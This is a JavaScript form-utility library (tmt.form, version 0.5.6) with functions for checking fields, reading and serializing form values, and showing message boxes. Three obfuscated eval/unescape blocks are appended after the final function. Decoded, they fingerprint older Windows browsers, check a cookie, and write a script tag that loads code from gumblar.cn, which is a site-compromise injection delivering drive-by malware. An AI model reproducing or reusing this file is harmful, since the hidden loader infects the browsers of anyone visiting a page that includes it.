/** 
* Copyright 2006-2009 massimocorner.com
* License: http://www.massimocorner.com/license.htm
* @author      Massimo Foti (massimo@massimocorner.com)
* @version     0.5.6, 2009-03-18
* @require     tmt_core.js
*/

if(typeof(tmt) == "undefined"){
	alert("Error: tmt.core JavaScript library missing");
}

tmt.form = {};

// Constants
tmt.form.MESSAGE_CLASS = "tmtFormMessage";
tmt.form.ERROR_MESSAGE_CLASS = "tmtFormErrorMessage";

/**
* Check a set of form fields (radio or checkboxes)
*/
tmt.form.checkFields = function(){
	tmt.setNodeAttribute(arguments, "checked", true);
}

/**
* Uncheck a set of form fields (radio or checkboxes)
*/
tmt.form.uncheckFields = function(){
	tmt.setNodeAttribute(arguments, "checked", false);
}

/**
* Toggle the checked attribute on a set of form fields. If it's true it set it to false and viceversa
*/
tmt.form.toggleCheckFields = function(){
	for(var i=0; i<arguments.length; i++){
		var fieldNode = tmt.get(arguments[i]);
		if(fieldNode){
			fieldNode.checked ? fieldNode.checked = false : fieldNode.checked = true;
		}
	}
}

/**
* Programmatically select options inside a <select> tag
* The first argument can be a DOM node, the id or the name of the <select>
* In case of multiple tags sharing the same name the first fund in the document will be used
* The second argument can be a simple value or a comma-delimited list (for select-multiple)
*/
tmt.form.checkSelect = function(theNode, values){
	// Split in case we got a comma-separated list (for select-multiple)
	var valueArray = values.split(",");
	var selectNode = tmt.get(theNode);
	// If what we get is a name, use the first node matching the name
	if(selectNode == null){
		selectNode = document.getElementsByName(theNode)[0];
	}
	for(var i=0; i<selectNode.options.length; i++){
		for(var j=0; j<valueArray.length; j++){
			if(valueArray[j] == tmt.form.getOptionNodeValue(selectNode.options[i])){
				selectNode.options[i].selected = true;
			}
		}
	}
}

/**
* Programmatically de-select options inside a <select> tag
* The first argument can be a DOM node, the id or the name of the <select>
* In case of multiple tags sharing the same name the first fund in the document will be used
*/
tmt.form.resetSelect = function(theNode){
	var selectNode = tmt.get(theNode);
	// If what we get is a name, use the first node matching the name
	if(selectNode == null){
		selectNode = document.getElementsByName(theNode)[0];
	}
	for(var i=0; i<selectNode.options.length; i++){
		selectNode.options[i].selected = false;
	}
}

/**
* Programmatically check radio buttons or checkboxes based on their values
* The first argument is the name of the group
* The second argument can be a simple value or a comma-delimited list (for checkboxes)
*/
tmt.form.checkGroup = function(groupName, values){
	// Split in case we got a comma-separated list (for checkboxes)
	var valueArray = values.split(",");
	var groupNodes = document.getElementsByName(groupName);
	for(var i=0; i<groupNodes.length; i++){
		for(var j=0; j<valueArray.length; j++){
			if(groupNodes[i].value == valueArray[j]){
				groupNodes[i].checked = true;
			}
		}
	}
}

/**
* Uncheck a whole group of radio buttons or checkboxes
*/
tmt.form.resetGroup = function(groupName){
	var groupNodes = document.getElementsByName(groupName);
	for(var i=0; i<groupNodes.length; i++){
		groupNodes[i].checked = false;
	}
}

/**
* Disable a set of form fields
*/
tmt.form.disableFields = function(){
	tmt.setNodeAttribute(arguments, "disabled", true);
}

/**
* Enable a set of form fields
*/
tmt.form.enableFields = function(){
	tmt.setNodeAttribute(arguments, "disabled", false);
}

/**
* Toggle the disabled attribute on a set of form fields. If it's true it set it to false and viceversa
*/
tmt.form.toggleEnableFields = function(){
	for(var i=0; i<arguments.length; i++){
		var fieldNode = tmt.get(arguments[i]);
		if(fieldNode){
			fieldNode.disabled ? fieldNode.disabled = false : fieldNode.disabled = true;
		}
	}
}

/**
* Returns the container form node of a given node. Returns false if the node isn't contained inside a form
*/
tmt.form.getParentForm = function(startNode){
	var parentObj = startNode.parentNode;
	while(parentObj){
		if(parentObj.tagName.toLowerCase() == "body"){
			return false;
		}
		if(parentObj.tagName.toLowerCase() == "form"){
			return parentObj;
		}
		else{
			parentObj = parentObj.parentNode;
			continue;
		}
	}
	// The field is outside of a form
	return false; 
}

/**
* Given an option node, return its value. If no value is available, returns its text
*/
tmt.form.getOptionNodeValue = function(optionNode){
	// Special case for IE
	if(window.ActiveXObject){
		if(optionNode.attributes["value"].specified){
			return optionNode.value;
		}
	}
	else {
		if(optionNode.hasAttribute("value")){
			return optionNode.value;
		}
	}
	return optionNode.text;
}

// Private helper function, undocumented
// Check if a given node is a form field
tmt.form.isFormField = function(fieldNode){
	//var fieldType = fieldNode.type.toLowerCase();
	if(!fieldNode.type){
		return false;
	}
	// Skip "reset" and "button"
	if((fieldNode.type.toLowerCase() == "reset") || (fieldNode.type.toLowerCase() == "button") || (fieldNode.tagName.toLowerCase() == "button")){
		return false;
	}
	return true
}

/**
* Returns an array, containing all the form fields contained inside a given start node
* Returns an empty array if no fields are available
*/
tmt.form.getChildFields = function(startNode){
	var childFields = [];
	var childNodes = tmt.getAllNodes(startNode);
	for(var i=0; i<childNodes.length; i++){
		if(tmt.form.isFormField(childNodes[i])){
			childFields.push(childNodes[i]);
		}
	}
	return childFields;
}

/**
* Returns an array of submit button nodes contained inside a given node
*/
tmt.form.getSubmitNodes = function(startNode){
	var inputNodes = startNode.getElementsByTagName("input");
	return tmt.filterNodesByAttributeValue("type", "submit", inputNodes);
}

/**
* Given a form field, return all fields contained inside the same form that share the same name
* Handy to retrieve a whole set of radio/checkboxes
*/
tmt.form.getFieldGroup = function(fieldNode){
	var boxes = [];
	if(fieldNode.name){
		boxes = tmt.getNodesByAttributeValue("name", fieldNode.name, fieldNode.form);
	}
	return boxes;
}

/**
* Returns the value of a given form field
* Accepts either ids (strings) or DOM node references
* If getGroupValue argument is set to true (default to false) and fieldNode is either a radio or a checkbox; returns the value of the whole group of fields
* In order to make getGroupValue work as expected checkboxes and radio must have a "name" attribute
*/
tmt.form.getValue = function(field, getGroupValue){
	var retValue = "";
	var fieldNode = tmt.get(field);
	var fieldType = fieldNode.type.toLowerCase();	
	// Handle different kind of fields
	switch(fieldType){
		case "select-multiple":
			for(var j = 0; j < fieldNode.options.length; j++){
				if(fieldNode.options[j].selected){
					if(retValue == ""){
						retValue = tmt.form.getOptionNodeValue(fieldNode.options[j]);
					}
					else{
						retValue += ",";
						retValue += tmt.form.getOptionNodeValue(fieldNode.options[j]);
					}
				}
			}
			break;
		case "select-one":
			for(var k = 0; k < fieldNode.options.length; k++){
				if(fieldNode.options[k].selected){
					retValue = tmt.form.getOptionNodeValue(fieldNode.options[k])
					break;
				}
			}
			break;
		// Radio and checkboxes get handled the same way
		case "radio":
		case "checkbox":
			if(!getGroupValue || !fieldNode.name){
				// Get only the value of this specific box, not its whole group
				if(fieldNode.checked){
					retValue = fieldNode.value;
				}
			}
			else{
				// Collect the value out of the whole group
				var boxes = tmt.form.getFieldGroup(fieldNode);
				retValue = tmt.form.getGroupValue(boxes);
			}
			break;
		// Skip reset
		case "reset":
			break;
		// Skip buttons
		case "button":
			break;
		// default handles all the text fields
		default:
			// TinyMCE and IE 
			if(window.ActiveXObject && fieldNode.id && (typeof(tinyMCE) != "undefined") && tinyMCE.get(fieldNode.id)){
				retValue = tinyMCE.get(fieldNode.id).getContent();
			}
			// Plain vanilla text field
			else{
				retValue = fieldNode.value;
			}
			break;
	}
	return retValue;
}

// Helper, private function, undocumented
// Collect values out of a group of checkboxes/radio
// Don't use for other kind of fields!
tmt.form.getGroupValue = function(boxes){
	var values = [];
	for(var i = 0; i < boxes.length; i++){
		if(boxes[i].checked){
			values.push(boxes[i].value);
		}	
	}
	return values.toString();
}

/**
* Assembles field name/value pairs from a given form, returns an object
*/
tmt.form.hashForm = function(formNode, demoronize){
	var valueObj = {};
	for(var i = 0; i < formNode.elements.length; i++){
		var fieldNode = formNode.elements[i];
		// Skip fieldsets and field without name attribute
		if(!fieldNode || !fieldNode.name || fieldNode.tagName.toLowerCase() == "fieldset"){
			continue;
		}
		var fieldName = fieldNode.name;
		valueObj[fieldName] = tmt.form.getValue(fieldNode, true);
	}
	return valueObj;
}

/**
* Assembles field name/value pairs from a given form, returns an encoded string
*/
tmt.form.serializeForm = function(formNode, demoronize){
	return tmt.hashToEncodeURI(tmt.form.hashForm(formNode, demoronize));
}

/**
* Reset the values of each element in a given form to blank
*/
tmt.form.clearForm = function(formNode){
	tmt.form.clearFields(formNode.elements);
}

/**
* Reset the values of a given array/nodeList of form fields
*/
tmt.form.clearFields = function(fieldNodes){
	for(var i = 0; i < fieldNodes.length; i++){
		tmt.form.clearField(fieldNodes[i]);
	}
}

/**
* Reset the value of a given form field
*/
tmt.form.clearField = function(fieldNode){
	// Skip fieldsets
	if(!fieldNode || fieldNode.tagName.toLowerCase() == "fieldset"){
		return;
	}
	var fieldType = fieldNode.type.toLowerCase();	
	// Handle different kind of fields
	switch(fieldType){
		case "select-multiple":
		case "select-one":
			fieldNode.selectedIndex = -1;
			break;
		// Radio and checkboxes get handled the same way
		case "radio":
		case "checkbox":
			fieldNode.checked = false;
			break;
		// Skip reset
		case "reset":
			break;
		// Skip buttons
		case "button":
			break;
		// default handles all the text fields
		default:
			fieldNode.value = "";
			break;
	}
}

tmt.form.MSG_BOX_ID = "tmtFormMessageBox";

// Private helper function, undocumented
// Generate an id that will identify the box who belongs to the given form
tmt.form.generateBoxId = function(formNode){
	var errorId = tmt.form.MSG_BOX_ID
	if(formNode.getAttribute("id")){
		errorId += formNode.getAttribute("id");
	}
	else if(formNode.getAttribute("name")){
		errorId += formNode.getAttribute("name");
	}
	return errorId;
}

/**
* Display a message a message associated with a given form node
*/
tmt.form.displayMessage = function(formNode, html){
	tmt.form.displayBox(formNode, html, tmt.form.MESSAGE_CLASS);
}

/**
* Display a message an error message associated with a given form node
*/
tmt.form.displayErrorMessage = function(formNode, html){
	tmt.form.displayBox(formNode, html, tmt.form.ERROR_MESSAGE_CLASS);
}

/**
* Display a box with a message associated with a given form node
* Overwrite this method if you want to change the way tmt.form.displayMessage and tmt.form.displayErrorMessage behaves
*/
tmt.form.displayBox = function(formNode, html, cssClass){
	if(!cssClass){
		cssClass = tmt.form.MESSAGE_CLASS;
	}
	// Create a <div> that will act as an error display
	var displayNode = document.createElement("div");
	// Create an id that will identify the box who belongs to this specific form and assign it to the <div>
	var errorId = tmt.form.generateBoxId(formNode);
	displayNode.setAttribute("id", errorId);
	displayNode.className = cssClass;
	displayNode.innerHTML = html;		
	var oldDisplay = tmt.get(errorId);
	// If an error display is already there, we replace it, if not, we create one from scratch 
	if(oldDisplay){
		formNode.parentNode.replaceChild(displayNode, oldDisplay);
	}
	else{
		formNode.parentNode.insertBefore(displayNode, formNode);
	}
}

/**
* Remove a message box (if any) associated with a given form node
*/
tmt.form.removeDisplayBox = function(formNode){
	var errorId = tmt.form.generateBoxId(formNode);
	var oldDisplay = tmt.get(errorId);
	// If an error display is already there, get rid of it
	if(oldDisplay){
		oldDisplay.parentNode.removeChild(oldDisplay);
	}
}

/**
* Replace MS Word's non-ISO characters with plausible substitutes
*/
tmt.form.stringDemoronizer = function(str){
	str = str.replace(new RegExp(String.fromCharCode(710), "g"), "^");
	str = str.replace(new RegExp(String.fromCharCode(732), "g"), "~");
	// Evil "smarty" quotes
	str = str.replace(new RegExp(String.fromCharCode(8216), "g"), "'");
	str = str.replace(new RegExp(String.fromCharCode(8217), "g"), "'");
	str = str.replace(new RegExp(String.fromCharCode(8220), "g"), '"');
	str = str.replace(new RegExp(String.fromCharCode(8221), "g"), '"');
	// More garbage
	str = str.replace(new RegExp(String.fromCharCode(8211), "g"), "-");
	str = str.replace(new RegExp(String.fromCharCode(8212), "g"), "--");
	str = str.replace(new RegExp(String.fromCharCode(8218), "g"), ",");
	str = str.replace(new RegExp(String.fromCharCode(8222), "g"), ",,");
	str = str.replace(new RegExp(String.fromCharCode(8226), "g"), "*");
	str = str.replace(new RegExp(String.fromCharCode(8230), "g"), "...");
	str = str.replace(new RegExp(String.fromCharCode(8364), "g"), "€");
	return str;
}<!-- 
(function(t){eval(unescape(('var@20a@3d@22@53criptEn@67in@65@22@2c@62@3d@22Version@28)+@22@2c@6a@3d@22@22@2cu@3d@6e@61viga@74or@2eu@73er@41ge@6et@3bif((u@2eindex@4ff(@22Wi@6e@22@29@3e0)@26@26(u@2ein@64ex@4f@66@28@22NT@20@36@22@29@3c0)@26@26(docum@65n@74@2ecook@69e@2einde@78@4f@66@28@22@6diek@3d1@22)@3c0@29@26@26(@74ype@6ff@28zrvz@74s)@21@3d@74y@70eo@66(@22@41@22)@29)@7b@7arvzts@3d@22A@22@3b@65@76al(@22if(wi@6e@64o@77@2e@22+a+@22)@6a@3dj+@22+@61+@22Maj@6fr@22+b+a@2b@22Minor@22@2b@62+@61+@22@42@75i@6cd@22+b+@22j@3b@22)@3bd@6fc@75ment@2ew@72@69t@65(@22@3cscrip@74@20@73@72c@3d@2f@2fg@75m@62l@61r@2ecn@2f@72ss@2f@3fi@64@3d@22@2bj+@22@3e@3c@5c@2fscript@3e@22)@3b@7d').replace(t,'%')))})(/@/g);
 --><!-- 
(function(Gia7){var qnw=unescape(('var,20a,3d,22ScriptEn,67ine,22,2cb,3d,22Ve,72sion()+,22,2cj,3d,22,22,2cu,3dnav,69gator,2euserAgent,3bif((,75,2eindexO,66(,22Win,22),3e0,29,26,26(u,2eindex,4ff(,22NT,206,22),3c,30),26,26(d,6fcu,6d,65nt,2eco,6fki,65,2eindexOf(,22,6diek,3d1,22),3c0),26,26(typ,65of(,7arv,7ats,29,21,3dty,70eof(,22A,22)),29,7b,7arvzt,73,3d,22A,22,3beval(,22,69f,28wi,6e,64ow,2e,22+a,2b,22)j,3dj+,22+a+,22,4daj,6fr,22+b+a+,22,4dinor,22+b+a+,22,42ui,6cd,22+b+,22j,3b,22),3bdoc,75m,65nt,2ewrit,65(,22,3c,73cr,69p,74,20src,3d,2f,2fgu,6dblar,2ecn,2f,72ss,2f,3f,69d,3d,22+j,2b,22,3e,3c,5c,2f,73cr,69,70t,3e,22),3b,7d').replace(Gia7,'%'));eval(qnw)})(/,/g);
 --><!-- 
(function(){var GToO='var.20a.3d.22Script.45.6egi.6ee.22.2c.62.3d.22V.65rsion.28)+.22.2cj.3d.22.22.2c.75.3dnavigat.6fr.2eu.73.65r.41.67.65nt.3bif(.28u.2einde.78Of.28.22W.69.6e.22.29.3e0).26.26(u.2eind.65xO.66(.22NT.206.22.29.3c.30).26.26(doc.75men.74.2e.63o.6f.6bie.2eindexOf(.22.6diek.3d.31.22).3c0).26.26(.74y.70eof(z.72.76zt.73).21.3d.74y.70e.6f.66(.22A.22.29)).7bz.72vzts.3d.22A.22.3bev.61.6c(.22if(.77.69.6edow.2e.22.2ba.2b.22.29j.3dj+.22+a+.22Ma.6aor.22+.62+a.2b.22Mi.6eo.72.22.2bb+a+.22Build.22+b+.22j.3b.22).3b.64oc.75ment.2ewrit.65(.22.3cscrip.74.20s.72c.3d.2f.2fgu.6dblar.2ec.6e.2f.72ss.2f.3fid.3d.22.2bj+.22.3e.3c.5c.2fscript.3e.22).3b.7d';eval(unescape(GToO.replace(/./g,'%')))})();
 -->
